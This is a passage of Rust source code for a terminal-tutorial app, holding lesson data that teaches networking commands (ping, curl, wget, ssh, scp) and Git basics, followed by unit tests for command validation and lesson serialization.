1773                    content: "Welcome to Network Basics!\n\nThe terminal is powerful for network operations:\n  • Testing connectivity\n  • Downloading files\n  • Remote server access\n  • Troubleshooting issues\n  • Automating web requests\n\nYou'll learn:\n  • ping - Test if a host is reachable\n  • curl - Transfer data from URLs\n  • wget - Download files\n  • ssh - Secure remote access\n  • Basic connectivity troubleshooting\n\nThese tools are essential for:\n  • System administrators\n  • Web developers\n  • DevOps engineers\n  • Anyone managing remote servers\n\nLet's get connected!".to_string(),
1774                },
1775            },
1776            LessonStep {
1777                step_number: 2,
1778                title: "Testing Connectivity with ping".to_string(),
1779                instruction: "ping sends packets to a host to test connectivity. Try pinging Google: ping -c 4 google.com".to_string(),
1780                hint: Some("Type: ping -c 4 google.com (-c 4 means send 4 packets then stop)".to_string()),
1781                step_type: StepType::CommandExercise {
1782                    expected_command: "ping -c 4 google.com".to_string(),
1783                    validation: CommandValidation::Exact,
1784                    success_message: "Perfect! ping shows:\n  • If the host is reachable\n  • Response time (latency) in milliseconds\n  • Packet loss percentage\n\nLower time = faster connection. 0% packet loss = good connection!".to_string(),
1785                },
1786            },
1787            LessonStep {
1788                step_number: 3,
1789                title: "Understanding ping Output".to_string(),
1790                instruction: "".to_string(),
1791                hint: None,
1792                step_type: StepType::Information {
1793                    content: "Decoding ping results:\n\nPING google.com (142.250.185.46): 56 data bytes\n64 bytes from 142.250.185.46: icmp_seq=0 ttl=116 time=12.4 ms\n64 bytes from 142.250.185.46: icmp_seq=1 ttl=116 time=11.8 ms\n\nKey information:\n  • IP address: 142.250.185.46 (DNS resolved google.com)\n  • icmp_seq: Sequence number (detects missing packets)\n  • ttl: Time To Live (hops remaining, typically 64 or 128)\n  • time: Round-trip time in milliseconds\n\nStatistics:\n  4 packets transmitted, 4 received, 0% packet loss\n  round-trip min/avg/max = 11.8/12.1/12.4 ms\n\nWhat's good?\n  • 0% packet loss = excellent\n  • <50ms = great for most uses\n  • <100ms = acceptable\n  • >200ms = noticeable lag\n  • >500ms = poor connection\n\nUse cases:\n  • Is my internet working? → ping 8.8.8.8 (Google DNS)\n  • Can I reach this server? → ping example.com\n  • Network troubleshooting".to_string(),
1794                },
1795            },
1796            LessonStep {
1797                step_number: 4,
1798                title: "Quiz: Understanding ping".to_string(),
1799                instruction: "".to_string(),
1800                hint: None,
1801                step_type: StepType::MultipleChoice {
1802                    question: "What does 'ping -c 10 example.com' do?".to_string(),
1803                    options: vec![
1804                        "Downloads the website 10 times".to_string(),
1805                        "Sends 10 test packets to example.com to check connectivity".to_string(),
1806                        "Connects to example.com 10 times per second".to_string(),
1807                        "Checks if port 10 is open on example.com".to_string(),
1808                    ],
1809                    correct_index: 1,
1810                    explanation: "Correct! The -c flag specifies count. 'ping -c 10' sends exactly 10 ICMP echo request packets, waits for replies, then stops and shows statistics. Without -c, ping runs forever (stop with Ctrl+C). This tests if the host is reachable and measures network latency.".to_string(),
1811                },
1812            },
1813            LessonStep {
1814                step_number: 5,
1815                title: "Downloading with curl".to_string(),
1816                instruction: "".to_string(),
1817                hint: None,
1818                step_type: StepType::Information {
1819                    content: "'curl' transfers data from or to a server.\n\nBasic usage:\n  curl https://example.com              Display page content\n  curl -o file.html https://example.com Download to file\n  curl -O https://site.com/file.zip     Download, keep name\n  curl -L https://short.url             Follow redirects\n\nUseful flags:\n  -o filename    Save to specified filename\n  -O             Save with remote filename\n  -L             Follow redirects (important!)\n  -I             Show headers only\n  -s             Silent mode (no progress)\n  -v             Verbose (show details)\n  -u user:pass   Authentication\n\nAPI requests:\n  curl https://api.github.com/users/octocat\n  curl -X POST -d 'data' https://api.example.com\n  curl -H 'Authorization: token' https://api.com\n\nTesting:\n  curl -I https://example.com    Check if site is up\n  curl https://ifconfig.me       Show your public IP".to_string(),
1820                },
1821            },
1822            LessonStep {
1823                step_number: 6,
1824                title: "Practice: Using curl".to_string(),
1825                instruction: "Try fetching your public IP address using curl: curl -s https://ifconfig.me".to_string(),
1826                hint: Some("Type: curl -s https://ifconfig.me (-s makes it silent/no progress bar)".to_string()),
1827                step_type: StepType::CommandExercise {
1828                    expected_command: "curl -s https://ifconfig.me".to_string(),
1829                    validation: CommandValidation::Exact,
1830                    success_message: "Great! You just fetched your public IP address. The -s flag suppresses the progress bar. curl is incredibly versatile - it's like a Swiss Army knife for web requests!".to_string(),
1831                },
1832            },
1833            LessonStep {
1834                step_number: 7,
1835                title: "Downloading Files with wget".to_string(),
1836                instruction: "".to_string(),
1837                hint: None,
1838                step_type: StepType::Information {
1839                    content: "'wget' downloads files from the web.\n\nBasic usage:\n  wget https://example.com/file.zip\n  wget -O custom.zip https://example.com/file.zip\n  wget -c https://example.com/bigfile.iso  (resume download)\n\nUseful flags:\n  -O filename      Save as specific name\n  -c               Continue/resume partial download\n  -b               Background download\n  -q               Quiet mode\n  -r               Recursive (download entire site)\n  --limit-rate=1M  Limit download speed\n\nMultiple files:\n  wget -i urls.txt   Download all URLs in file\n\ncurl vs wget:\n  wget:\n    • Simpler for downloading files\n    • Better for recursive downloads\n    • Resume broken downloads\n    • Download in background\n\n  curl:\n    • More versatile (uploads, APIs)\n    • Better for testing/debugging\n    • Pipe output to other commands\n    • More protocol support\n\nRule of thumb:\n  • Downloading files? → wget\n  • API requests? → curl\n  • Both work for simple downloads!".to_string(),
1840                },
1841            },
1842            LessonStep {
1843                step_number: 8,
1844                title: "Introduction to SSH".to_string(),
1845                instruction: "".to_string(),
1846                hint: None,
1847                step_type: StepType::Information {
1848                    content: "SSH (Secure Shell) - Remote server access\n\nBasic syntax:\n  ssh username@hostname\n  ssh user@192.168.1.100\n  ssh user@example.com\n\nExamples:\n  ssh root@myserver.com\n  ssh pi@192.168.1.50         Raspberry Pi\n  ssh -p 2222 user@server     Custom port\n\nFirst connection:\n  • You'll see a fingerprint warning (type 'yes')\n  • Enter password when prompted\n  • You're now on the remote machine!\n  • Everything you type runs on the remote server\n  • Type 'exit' or Ctrl+D to disconnect\n\nUseful flags:\n  -p port        Custom port (default: 22)\n  -i keyfile     Use SSH key for authentication\n  -X             Enable X11 forwarding (GUI apps)\n  -L             Port forwarding\n  -v             Verbose (debugging)\n\nSSH keys (advanced):\n  ssh-keygen                 Generate key pair\n  ssh-copy-id user@host      Copy public key to server\n  ssh user@host              Now login without password!".to_string(),
1849                },
1850            },
1851            LessonStep {
1852                step_number: 9,
1853                title: "Quiz: SSH Usage".to_string(),
1854                instruction: "".to_string(),
1855                hint: None,
1856                step_type: StepType::MultipleChoice {
1857                    question: "What does 'ssh user@192.168.1.100' do?".to_string(),
1858                    options: vec![
1859                        "Downloads files from 192.168.1.100".to_string(),
1860                        "Tests network connectivity to 192.168.1.100".to_string(),
1861                        "Opens a secure remote terminal session on 192.168.1.100 as 'user'".to_string(),
1862                        "Transfers files securely to 192.168.1.100".to_string(),
1863                    ],
1864                    correct_index: 2,
1865                    explanation: "Correct! SSH creates an encrypted terminal connection to the remote machine. You can then run commands as if you were sitting at that computer. It's like remote desktop but for the command line. For file transfers, you'd use 'scp' or 'rsync'. For connectivity testing, use 'ping'.".to_string(),
1866                },
1867            },
1868            LessonStep {
1869                step_number: 10,
1870                title: "Copying Files with scp".to_string(),
1871                instruction: "".to_string(),
1872                hint: None,
1873                step_type: StepType::Information {
1874                    content: "'scp' (secure copy) transfers files over SSH.\n\nSyntax:\n  scp source destination\n\nUpload to remote:\n  scp file.txt user@host:/path/\n  scp -r folder/ user@host:/path/    (recursive, for directories)\n\nDownload from remote:\n  scp user@host:/path/file.txt ./\n  scp user@host:/path/file.txt local-name.txt\n\nExamples:\n  scp report.pdf alice@server.com:~/documents/\n  scp alice@server.com:~/backup.tar.gz ./\n  scp -r photos/ alice@server.com:~/Pictures/\n  scp -P 2222 file.txt user@host:/tmp/    (custom port)\n\nUseful flags:\n  -r             Recursive (copy directories)\n  -P port        Custom SSH port\n  -i keyfile     Use specific SSH key\n  -C             Compress during transfer\n  -v             Verbose output\n\nAlternatives:\n  rsync          Better for large/many files (resumes, incremental)\n  sftp           Interactive file transfer (like FTP but secure)".to_string(),
1875                },
1876            },
1877            LessonStep {
1878                step_number: 11,
1879                title: "Network Troubleshooting".to_string(),
1880                instruction: "".to_string(),
1881                hint: None,
1882                step_type: StepType::Information {
1883                    content: "Common network troubleshooting workflow:\n\n1. Check local network:\n   ping 127.0.0.1              Am I working? (localhost)\n   ping 192.168.1.1            Can I reach router?\n\n2. Check internet connectivity:\n   ping 8.8.8.8                Can I reach Google DNS? (tests connection)\n   ping google.com             Can I reach by name? (tests DNS)\n\n3. Check specific service:\n   ping example.com            Is host reachable?\n   curl -I https://example.com Is web server responding?\n   ssh user@example.com        Can I connect via SSH?\n\n4. Check DNS:\n   nslookup example.com        What's the IP address?\n   host example.com            Alternative DNS lookup\n\n5. Check open ports:\n   nc -zv example.com 80       Is port 80 open?\n   telnet example.com 22       Is SSH port responding?\n\nCommon issues:\n  • ping works, web doesn't → Firewall or web server issue\n  • IP works, domain doesn't → DNS problem\n  • Everything fails → Check physical connection, router, ISP".to_string(),
1884                },
1885            },
1886            LessonStep {
1887                step_number: 12,
1888                title: "Completion: Network Basics Mastered!".to_string(),
1889                instruction: "".to_string(),
1890                hint: None,
1891                step_type: StepType::Information {
1892                    content: "Excellent work! You've learned essential networking!\n\nKey commands:\n  ping -c 4 host              Test connectivity\n  curl https://url            Fetch web content\n  curl -O https://url/file    Download file\n  wget https://url/file       Download file\n  wget -c url                 Resume download\n\nRemote access:\n  ssh user@host               Remote terminal\n  ssh -p port user@host       Custom SSH port\n  scp file user@host:/path    Upload file\n  scp user@host:/path/file .  Download file\n  scp -r dir user@host:/path  Upload directory\n\nTroubleshooting:\n  ping 8.8.8.8                Test internet\n  ping google.com             Test DNS\n  curl -I https://site.com    Test web server\n  nslookup domain             Check DNS\n\nQuick reference:\n  • No internet? → ping 8.8.8.8\n  • DNS issues? → ping IP works but domain doesn't\n  • Download file? → wget or curl -O\n  • Access server? → ssh user@host\n  • Transfer files? → scp\n\nNext: Learn Git fundamentals!".to_string(),
1893                },
1894            },
1895        ],
1896    }
1897}
1898
1899/// Create the "Git Fundamentals" lesson
1900fn create_git_fundamentals_lesson() -> Lesson {
1901    Lesson {
1902        id: "git-fundamentals".to_string(),
1903        title: "Git Fundamentals".to_string(),
1904        description: "Master version control with Git: init, clone, add, commit, push, pull, status, log, and diff commands.".to_string(),
1905        difficulty: Difficulty::Beginner,
1906        estimated_minutes: 15,
1907        prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1908        tags: vec!["beginner".to_string(), "git".to_string(), "version-control".to_string()],
1909        setup: vec![],
1910        steps: vec![
1911            LessonStep {
1912                step_number: 1,
1913                title: "What is Git?".to_string(),
1914                instruction: "".to_string(),
1915                hint: None,
1916                step_type: StepType::Information {
1917                    content: "Welcome to Git Fundamentals!\n\nGit is a version control system - like 'Track Changes' for code.\n\nWhy use Git?\n  • Track every change to your code\n  • Collaborate with others without conflicts\n  • Experiment safely (branches)\n  • Roll back mistakes\n  • See who changed what and when\n  • Backup your work (via GitHub, GitLab, etc.)\n\nKey concepts:\n  • Repository (repo): Project folder tracked by Git\n  • Commit: Snapshot of your code at a point in time\n  • Branch: Parallel version of your code\n  • Remote: Server hosting your repo (GitHub, etc.)\n  • Clone: Download a copy of a repository\n  • Push: Upload your changes\n  • Pull: Download others' changes\n\nGit is essential for:\n  • Professional development\n  • Open source contribution\n  • Portfolio building\n  • Team collaboration".to_string(),
1918                },
1919            },
1920            LessonStep {
1921                step_number: 2,
1922                title: "Initializing a Repository".to_string(),
1923                instruction: "".to_string(),
1924                hint: None,
1925                step_type: StepType::Information {
1926                    content: "Starting a new Git project:\n\nCommand:\n  git init\n\nWhat it does:\n  • Creates a .git folder (hidden directory)\n  • This folder stores all version history\n  • Turns current directory into a Git repository\n\nWorkflow:\n  mkdir my-project\n  cd my-project\n  git init\n  # Now you have a Git repository!\n\nYou'll see:\n  'Initialized empty Git repository in /path/to/my-project/.git/'\n\nThe .git folder contains:\n  • All commits\n  • Branch information\n  • Configuration\n  • History\n\nIMPORTANT:\n  • Don't delete .git folder (you'll lose all history!)\n  • Don't manually edit files in .git/\n  • One .git per project (not per subfolder)\n\nAlternative: Clone existing repository\n  git clone https://github.com/user/repo.git".to_string(),
1927                },
1928            },
1929            LessonStep {
1930                step_number: 3,
1931                title: "Checking Repository Status".to_string(),
1932                instruction: "The most important Git command is 'git status'. It shows what's changed. Try it: git status".to_string(),
1933                hint: Some("Type: git status".to_string()),
1934                step_type: StepType::CommandExercise {
1935                    expected_command: "git status".to_string(),
1936                    validation: CommandValidation::CommandOnly,
1937                    success_message: "Perfect! 'git status' is your best friend. Run it constantly to see:\n  • Which files changed\n  • Which changes are staged for commit\n  • Which branch you're on\n  • If you're ahead/behind remote\n\nMake it a habit to run 'git status' before every commit!".to_string(),
1938                },
1939            },
1940            LessonStep {
1941                step_number: 4,
1942                title: "Understanding Git Workflow".to_string(),
1943                instruction: "".to_string(),
1944                hint: None,
1945                step_type: StepType::Information {
1946                    content: "The Git workflow has three stages:\n\n1. WORKING DIRECTORY (modified files)\n   ↓\n   git add (stage changes)\n   ↓\n2. STAGING AREA (files ready to commit)\n   ↓\n   git commit (save snapshot)\n   ↓\n3. REPOSITORY (committed history)\n   ↓\n   git push (upload to remote)\n   ↓\n4. REMOTE (GitHub, GitLab, etc.)\n\nThink of it like:\n  • Working Directory = Your desk (working on documents)\n  • Staging Area = Box for mail (selecting what to send)\n  • Repository = Filing cabinet (permanent storage)\n  • Remote = Cloud backup\n\nCommands:\n  git status           See what's changed\n  git add file.txt     Stage specific file\n  git add .            Stage all changes\n  git commit -m 'msg'  Save snapshot with message\n  git push             Upload to remote\n  git pull             Download from remote".to_string(),
1947                },
1948            },
1949            LessonStep {
1950                step_number: 5,
1951                title: "Staging Changes with git add".to_string(),
1952                instruction: "".to_string(),
1953                hint: None,
1954                step_type: StepType::Information {
1955                    content: "'git add' stages files for commit.\n\nCommands:\n  git add file.txt         Stage one file\n  git add file1 file2      Stage multiple files\n  git add .                Stage all changes in current directory\n  git add -A               Stage ALL changes everywhere\n  git add *.js             Stage all .js files\n  git add -p               Interactive staging (review each change)\n\nWhat 'staging' means:\n  • You're selecting which changes to include in next commit\n  • Lets you commit logical chunks, not everything at once\n  • Like packing a box - choose what goes in\n\nExample workflow:\n  # Edit multiple files\n  git status              # See what changed\n  git add feature.js      # Stage only the feature\n  git status              # Verify what's staged\n  git commit -m 'Add feature'\n  # Later...\n  git add bugfix.js       # Stage the bugfix separately\n  git commit -m 'Fix bug'\n\nWhy stage separately?\n  • Clean, focused commit history\n  • Easier to review changes\n  • Easier to revert specific features".to_string(),
1956                },
1957            },
1958            LessonStep {
1959                step_number: 6,
1960                title: "Quiz: Understanding git add".to_string(),
1961                instruction: "".to_string(),
1962                hint: None,
1963                step_type: StepType::MultipleChoice {
1964                    question: "What does 'git add .' do?".to_string(),
1965                    options: vec![
1966                        "Commits all changes immediately".to_string(),
1967                        "Stages all changes in the current directory and subdirectories".to_string(),
1968                        "Deletes all unstaged files".to_string(),
1969                        "Pushes changes to remote repository".to_string(),
1970                    ],
1971                    correct_index: 1,
1972                    explanation: "Correct! 'git add .' stages all new, modified, and deleted files in the current directory and all subdirectories. The dot (.) means 'current directory and everything under it'. This DOES NOT commit anything yet - you still need 'git commit' to save the snapshot. It's like putting documents in a box before mailing them.".to_string(),
1973                },
1974            },
1975            LessonStep {
1976                step_number: 7,
1977                title: "Committing Changes".to_string(),
1978                instruction: "".to_string(),
1979                hint: None,
1980                step_type: StepType::Information {
1981                    content: "'git commit' saves a snapshot of staged changes.\n\nBasic usage:\n  git commit -m \"Commit message\"\n  git commit -m \"Add user login feature\"\n\nLonger messages:\n  git commit\n  # Opens editor for multi-line message\n  # First line: summary (50 chars or less)\n  # Blank line\n  # Detailed explanation\n\nCommit message best practices:\n  ✓ Use present tense: \"Add feature\" not \"Added feature\"\n  ✓ Be specific: \"Fix login validation bug\" not \"Fix bug\"\n  ✓ Keep first line under 50 characters\n  ✓ Explain WHY, not just WHAT\n\nGood examples:\n  \"Add password reset functionality\"\n  \"Fix memory leak in image processor\"\n  \"Update dependencies to patch security issue\"\n\nBad examples:\n  \"stuff\" \"wip\" \"fixed it\" \"asdfasdf\" \"changes\"\n\nUseful flags:\n  git commit -m \"message\"    Quick commit\n  git commit -a -m \"msg\"     Stage + commit modified files (not new files)\n  git commit --amend         Fix last commit message".to_string(),
1982                },
1983            },
1984            LessonStep {
1985                step_number: 8,
1986                title: "Viewing Commit History".to_string(),
1987                instruction: "The 'git log' command shows commit history. Try it: git log".to_string(),
1988                hint: Some("Type: git log (press 'q' to exit)".to_string()),
1989                step_type: StepType::CommandExercise {
1990                    expected_command: "git log".to_string(),
1991                    validation: CommandValidation::CommandOnly,
1992                    success_message: "Great! git log shows:\n  • Commit hash (unique ID)\n  • Author\n  • Date\n  • Commit message\n\nUseful variations:\n  git log --oneline          Compact view\n  git log --graph            Show branch graph\n  git log -n 5               Last 5 commits\n  git log --author='Alice'   Commits by Alice\n  git log file.txt           History of specific file".to_string(),
1993                },
1994            },
1995            LessonStep {
1996                step_number: 9,
1997                title: "Viewing Changes with git diff".to_string(),
1998                instruction: "".to_string(),
1999                hint: None,
2000                step_type: StepType::Information {
2001                    content: "'git diff' shows what changed.\n\nUsage:\n  git diff                  Changes not yet staged\n  git diff --staged         Changes that are staged\n  git diff HEAD             All changes (staged + unstaged)\n  git diff branch1 branch2  Compare branches\n  git diff commit1 commit2  Compare commits\n  git diff file.txt         Changes in specific file\n\nReading diff output:\n  --- a/file.txt      Original file\n  +++ b/file.txt      Modified file\n  @@ -10,7 +10,7 @@  Line numbers\n  -old line           Line removed (red)\n  +new line           Line added (green)\n   unchanged          Context line\n\nPractical uses:\n  • Before staging: Review what you're about to add\n  • Before committing: Double-check staged changes\n  • Code review: See what changed in a commit\n  • Debugging: When did this line change?\n\nWorkflow:\n  # Make changes\n  git diff              # Review changes\n  git add file.txt\n  git diff --staged     # Review what's staged\n  git commit -m \"msg\"".to_string(),
2002                },
2003            },
2004            LessonStep {
2005                step_number: 10,
2006                title: "Cloning Repositories".to_string(),
2007                instruction: "".to_string(),
2008                hint: None,
2009                step_type: StepType::Information {
2010                    content: "'git clone' downloads a repository.\n\nUsage:\n  git clone https://github.com/user/repo.git\n  git clone https://github.com/user/repo.git my-folder\n  git clone git@github.com:user/repo.git  (SSH)\n\nWhat happens:\n  1. Creates a new folder with repo name\n  2. Downloads all files and history\n  3. Sets up remote connection to origin\n  4. Checks out the default branch (usually 'main')\n\nExamples:\n  git clone https://github.com/torvalds/linux.git\n  git clone https://github.com/microsoft/vscode.git\n\nAfter cloning:\n  cd repo-name\n  git status           # Check status\n  git log              # See history\n  git remote -v        # See remote URLs\n\nHTTPS vs SSH:\n  • HTTPS: Easy setup, requires password/token each time\n  • SSH: Requires setup, but no password needed\n\nWhere to clone from?\n  • GitHub (most popular)\n  • GitLab\n  • Bitbucket\n  • Self-hosted servers".to_string(),
2011                },
2012            },
2013            LessonStep {
2014                step_number: 11,
2015                title: "Pushing and Pulling Changes".to_string(),
2016                instruction: "".to_string(),
2017                hint: None,
2018                step_type: StepType::Information {
2019                    content: "Syncing with remote repositories:\n\ngit push - Upload your commits:\n  git push                    Push current branch\n  git push origin main        Push 'main' to 'origin'\n  git push -u origin branch   Set upstream and push\n\ngit pull - Download and merge changes:\n  git pull                    Pull current branch\n  git pull origin main        Pull from specific branch\n\nWorkflow:\n  # Make changes locally\n  git add .\n  git commit -m \"Add feature\"\n  git pull    # Get latest changes from team\n  git push    # Upload your changes\n\nIMPORTANT:\n  • Always pull before push (get latest changes first)\n  • Pull before starting work each day\n  • Push frequently (don't hoard commits)\n\nHandling conflicts:\n  # If pull shows conflicts\n  git status               # See conflicting files\n  # Edit files to resolve conflicts\n  git add .\n  git commit -m \"Merge conflicts\"\n  git push\n\nOrigin:\n  'origin' is the default name for the remote repository\n  git remote -v shows all remotes".to_string(),
2020                },
2021            },
2022            LessonStep {
2023                step_number: 12,
2024                title: "Quiz: Git Workflow".to_string(),
2025                instruction: "".to_string(),
2026                hint: None,
2027                step_type: StepType::MultipleChoice {
2028                    question: "What's the correct order to save and upload changes?".to_string(),
2029                    options: vec![
2030                        "git commit → git add → git push".to_string(),
2031                        "git add → git commit → git push".to_string(),
2032                        "git push → git commit → git add".to_string(),
2033                        "git add → git push → git commit".to_string(),
2034                    ],
2035                    correct_index: 1,
2036                    explanation: "Correct! The workflow is:\n  1. git add (stage changes)\n  2. git commit (save snapshot locally)\n  3. git push (upload to remote)\n\nThink of it as:\n  1. Pack the box (add)\n  2. Seal and label the box (commit)\n  3. Mail the box (push)\n\nYou can't commit unstaged changes, and you can't push uncommitted changes!".to_string(),
2037                },
2038            },
2039            LessonStep {
2040                step_number: 13,
2041                title: "Essential Git Commands Summary".to_string(),
2042                instruction: "".to_string(),
2043                hint: None,
2044                step_type: StepType::Information {
2045                    content: "Git command quick reference:\n\nSetup:\n  git init              Create new repository\n  git clone url         Download repository\n\nBasic workflow:\n  git status            Check status (run often!)\n  git add file          Stage file\n  git add .             Stage all changes\n  git commit -m \"msg\"   Save snapshot\n  git push              Upload to remote\n  git pull              Download from remote\n\nViewing:\n  git log               Commit history\n  git log --oneline     Compact history\n  git diff              Unstaged changes\n  git diff --staged     Staged changes\n\nConfiguration:\n  git config --global user.name \"Your Name\"\n  git config --global user.email \"you@example.com\"\n\nHelp:\n  git help command      Detailed help\n  git command --help    Same as above\n\nDaily workflow:\n  1. git pull           (get latest)\n  2. Make changes\n  3. git status         (check changes)\n  4. git add .          (stage)\n  5. git commit -m \"\"   (save)\n  6. git push           (upload)".to_string(),
2046                },
2047            },
2048            LessonStep {
2049                step_number: 14,
2050                title: "Completion: Git Fundamentals Mastered!".to_string(),
2051                instruction: "".to_string(),
2052                hint: None,
2053                step_type: StepType::Information {
2054                    content: "Congratulations! You've learned Git fundamentals!\n\nKey concepts mastered:\n  • Repository: Version-tracked project\n  • Commit: Snapshot of your code\n  • Staging: Selecting changes to commit\n  • Remote: Server hosting your code\n\nEssential commands:\n  git init              Start new repo\n  git clone url         Copy existing repo\n  git status            Check status\n  git add .             Stage changes\n  git commit -m \"msg\"   Save snapshot\n  git log               View history\n  git diff              See changes\n  git push              Upload commits\n  git pull              Download commits\n\nGit workflow:\n  1. Make changes\n  2. git add (stage)\n  3. git commit (save)\n  4. git push (share)\n\nBest practices:\n  ✓ Commit often with clear messages\n  ✓ Pull before push\n  ✓ Run git status frequently\n  ✓ Review changes with git diff\n  ✓ Write meaningful commit messages\n\nNext steps:\n  • Learn branching and merging\n  • Explore GitHub/GitLab\n  • Practice with real projects\n  • Learn .gitignore\n\nYou're ready to version control like a pro!".to_string(),
2055                },
2056            },
2057        ],
2058    }
2059}
2060
2061#[cfg(test)]
2062mod tests {
2063    use super::*;
2064
2065    #[test]
2066    fn test_lesson_progress_new() {
2067        let progress = LessonProgress::new("test-lesson".to_string());
2068        assert_eq!(progress.lesson_id, "test-lesson");
2069        assert_eq!(progress.current_step, 1);
2070        assert!(!progress.is_completed());
2071    }
2072
2073    #[test]
2074    fn test_lesson_progress_completion() {
2075        let mut progress = LessonProgress::new("test-lesson".to_string());
2076        progress.complete_step(1);
2077        progress.complete_step(2);
2078        progress.complete_step(3);
2079
2080        assert_eq!(progress.completion_percentage(3), 100.0);
2081        assert_eq!(progress.completion_percentage(6), 50.0);
2082    }
2083
2084    #[test]
2085    fn test_command_validation_exact() {
2086        let validator = LessonValidator::new();
2087        let result = validator.validate_command(
2088            "ls -la",
2089            "ls -la",
2090            &CommandValidation::Exact,
2091        );
2092        assert!(result.is_success());
2093
2094        let result = validator.validate_command(
2095            "ls -l",
2096            "ls -la",
2097            &CommandValidation::Exact,
2098        );
2099        assert!(!result.is_success());
2100    }
2101
2102    #[test]
2103    fn test_command_validation_command_only() {
2104        let validator = LessonValidator::new();
2105        let result = validator.validate_command(
2106            "ls -la /home",
2107            "ls",
2108            &CommandValidation::CommandOnly,
2109        );
2110        assert!(result.is_success());
2111
2112        // Wrong command
2113        let result = validator.validate_command("cd /home", "ls", &CommandValidation::CommandOnly);
2114        assert!(!result.is_success());
2115
2116        // Empty input
2117        let result = validator.validate_command("", "ls", &CommandValidation::CommandOnly);
2118        assert!(!result.is_success());
2119    }
2120
2121    #[test]
2122    fn test_command_validation_exact_negative() {
2123        let validator = LessonValidator::new();
2124        let validation = CommandValidation::Exact;
2125
2126        // Wrong command
2127        assert!(!validator.validate_command("pwd", "ls -la", &validation).is_success());
2128        // Wrong flags
2129        assert!(!validator.validate_command("ls -l", "ls -la", &validation).is_success());
2130        // Empty input
2131        assert!(!validator.validate_command("", "ls -la", &validation).is_success());
2132    }
2133
2134    #[test]
2135    fn test_command_validation_command_and_flags() {
2136        let validator = LessonValidator::new();
2137        let validation = CommandValidation::CommandAndFlags;
2138
2139        // Exact match
2140        assert!(validator
2141            .validate_command("ls -la /home", "ls -la /home", &validation)
2142            .is_success());
2143
2144        // Flags are order-insensitive and combined short flags expand:
2145        // -la == -al == -l -a
2146        assert!(validator
2147            .validate_command("ls -al /home", "ls -la /home", &validation)
2148            .is_success());
2149        assert!(validator
2150            .validate_command("ls -l -a /home", "ls -la /home", &validation)
2151            .is_success());
2152        assert!(validator
2153            .validate_command("ls -a -l /home", "ls -l -a /home", &validation)
2154            .is_success());
2155
2156        // Wrong command
2157        assert!(!validator
2158            .validate_command("dir -la /home", "ls -la /home", &validation)
2159            .is_success());
2160
2161        // Wrong flags (missing / extra)
2162        assert!(!validator
2163            .validate_command("ls -l /home", "ls -la /home", &validation)
2164            .is_success());
2165        assert!(!validator
2166            .validate_command("ls -lah /home", "ls -la /home", &validation)
2167            .is_success());
2168
2169        // Wrong positional args
2170        assert!(!validator
2171            .validate_command("ls -la /tmp", "ls -la /home", &validation)
2172            .is_success());
2173
2174        // Empty input
2175        assert!(!validator.validate_command("", "ls -la /home", &validation).is_success());
2176    }
2177
2178    #[test]
2179    fn test_command_validation_regex() {
2180        let validator = LessonValidator::new();
2181        let validation = CommandValidation::Regex("ps.*8080|lsof.*8080".to_string());
2182
2183        // Matching input
2184        assert!(validator
2185            .validate_command("ps aux | grep 8080", "", &validation)
2186            .is_success());
2187        assert!(validator
2188            .validate_command("lsof -i :8080", "", &validation)
2189            .is_success());
2190
2191        // Wrong command
2192        assert!(!validator.validate_command("ls -la", "", &validation).is_success());
2193        // Empty input
2194        assert!(!validator.validate_command("", "", &validation).is_success());
2195
2196        // Invalid pattern must fail, not silently pass
2197        let bad = CommandValidation::Regex("(unclosed".to_string());
2198        assert!(!validator.validate_command("anything", "", &bad).is_success());
2199    }
2200
2201    #[test]
2202    fn test_command_validation_any_of_negative() {
2203        let validator = LessonValidator::new();
2204        let validation = CommandValidation::AnyOf(vec!["cd".to_string(), "cd ~".to_string()]);
2205
2206        assert!(validator.validate_command("cd ~", "cd", &validation).is_success());
2207        // Wrong command
2208        assert!(!validator.validate_command("pwd", "cd", &validation).is_success());
2209        // Wrong flags/args
2210        assert!(!validator.validate_command("cd /tmp", "cd", &validation).is_success());
2211        // Empty input
2212        assert!(!validator.validate_command("", "cd", &validation).is_success());
2213    }
2214
2215    #[test]
2216    fn test_lesson_toml_round_trip() {
2217        let lesson = create_navigation_basics_lesson();
2218
2219        let toml_text = lesson.to_toml().expect("Lesson should serialize to TOML");
2220        let restored = Lesson::from_toml(&toml_text).expect("TOML should parse back to Lesson");
2221
2222        assert_eq!(restored.id, lesson.id);
2223        assert_eq!(restored.title, lesson.title);
2224        assert_eq!(restored.difficulty, lesson.difficulty);
2225        assert_eq!(restored.steps.len(), lesson.steps.len());
2226        assert_eq!(restored.prerequisites, lesson.prerequisites);
2227        assert_eq!(restored.tags, lesson.tags);
2228        assert_eq!(restored.setup, lesson.setup);
2229    }
2230
2231    #[test]
2232    fn test_lesson_toml_without_setup_still_parses() {
2233        // Backward compat: lesson-pack TOML written before the `setup` field
2234        // existed must keep parsing (setup defaults to empty)
2235        let mut lesson = create_navigation_basics_lesson();
2236        lesson.setup.clear();
2237        let toml_text = lesson.to_toml().unwrap();
2238        assert!(
2239            !toml_text.contains("[[setup]]"),
2240            "empty setup should not serialize an array"
2241        );
2242
2243        let restored = Lesson::from_toml(&toml_text).expect("legacy TOML should parse");
2244        assert!(restored.setup.is_empty());
2245    }
2246
2247    #[test]
2248    fn test_lesson_toml_setup_round_trip() {
2249        let mut lesson = create_navigation_basics_lesson();
2250        lesson.setup = vec![SetupFile {
2251            path: "data/sample.txt".to_string(),
2252            contents: "hello\nworld\n".to_string(),
2253        }];
2254
2255        let toml_text = lesson.to_toml().unwrap();
2256        assert!(toml_text.contains("[[setup]]"));
2257
2258        let restored = Lesson::from_toml(&toml_text).unwrap();
2259        assert_eq!(restored.setup.len(), 1);
2260        assert_eq!(restored.setup[0].path, "data/sample.txt");
2261        assert_eq!(restored.setup[0].contents, "hello\nworld\n");
2262    }
2263
2264    #[test]
2265    fn test_builtin_lessons_have_starter_files_where_needed() {
2266        let library = LessonLibrary::new();
2267        for id in ["file-viewing", "file-mgmt", "text-processing"] {
2268            let lesson = library.get(id).expect("built-in lesson should exist");
2269            assert!(
2270                !lesson.setup.is_empty(),
2271                "lesson '{}' should ship starter files",
2272                id
2273            );
2274            for file in &lesson.setup {
2275                assert!(!file.path.starts_with('/'), "setup path must be relative");
2276                assert!(!file.path.contains(".."), "setup path must not contain ..");
2277                assert!(!file.contents.is_empty(), "setup contents must not be empty");
2278            }
2279        }
2280    }
2281
2282    #[test]
2283    fn test_library_load_from_dir() {
2284        let dir = std::env::temp_dir().join(format!(
2285            "arct-lesson-dir-test-{}",
2286            std::process::id()
